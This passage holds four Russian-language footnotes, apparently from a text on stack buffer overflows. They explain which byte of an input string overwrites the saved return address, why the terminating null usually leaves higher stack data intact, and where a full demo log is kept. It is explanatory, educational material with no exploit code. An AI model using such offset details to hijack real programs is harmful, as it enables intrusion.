[27] Именно двадцатый (т.е. 0x14 в шестнадцатеричной системе счисления) по счету байт строки попадает в старший байт сохраненного адреса возврата.

[28] Для экономии места пришлось пойти на некоторые сокращения и опустить незначащие фрагменты. Полный протокол содержится в файле "/LOG/buff.demo.log"

[29] Что маловероятно, поскольку завершающий строку ноль обычно записывается в старший байт адреса возврата, который равен нулю, а все данные, расположенные ниже (т.е. в старших адресах) остаются нетронутыми.

[30] "Ошибка? Это не ошибка, это системная функция!"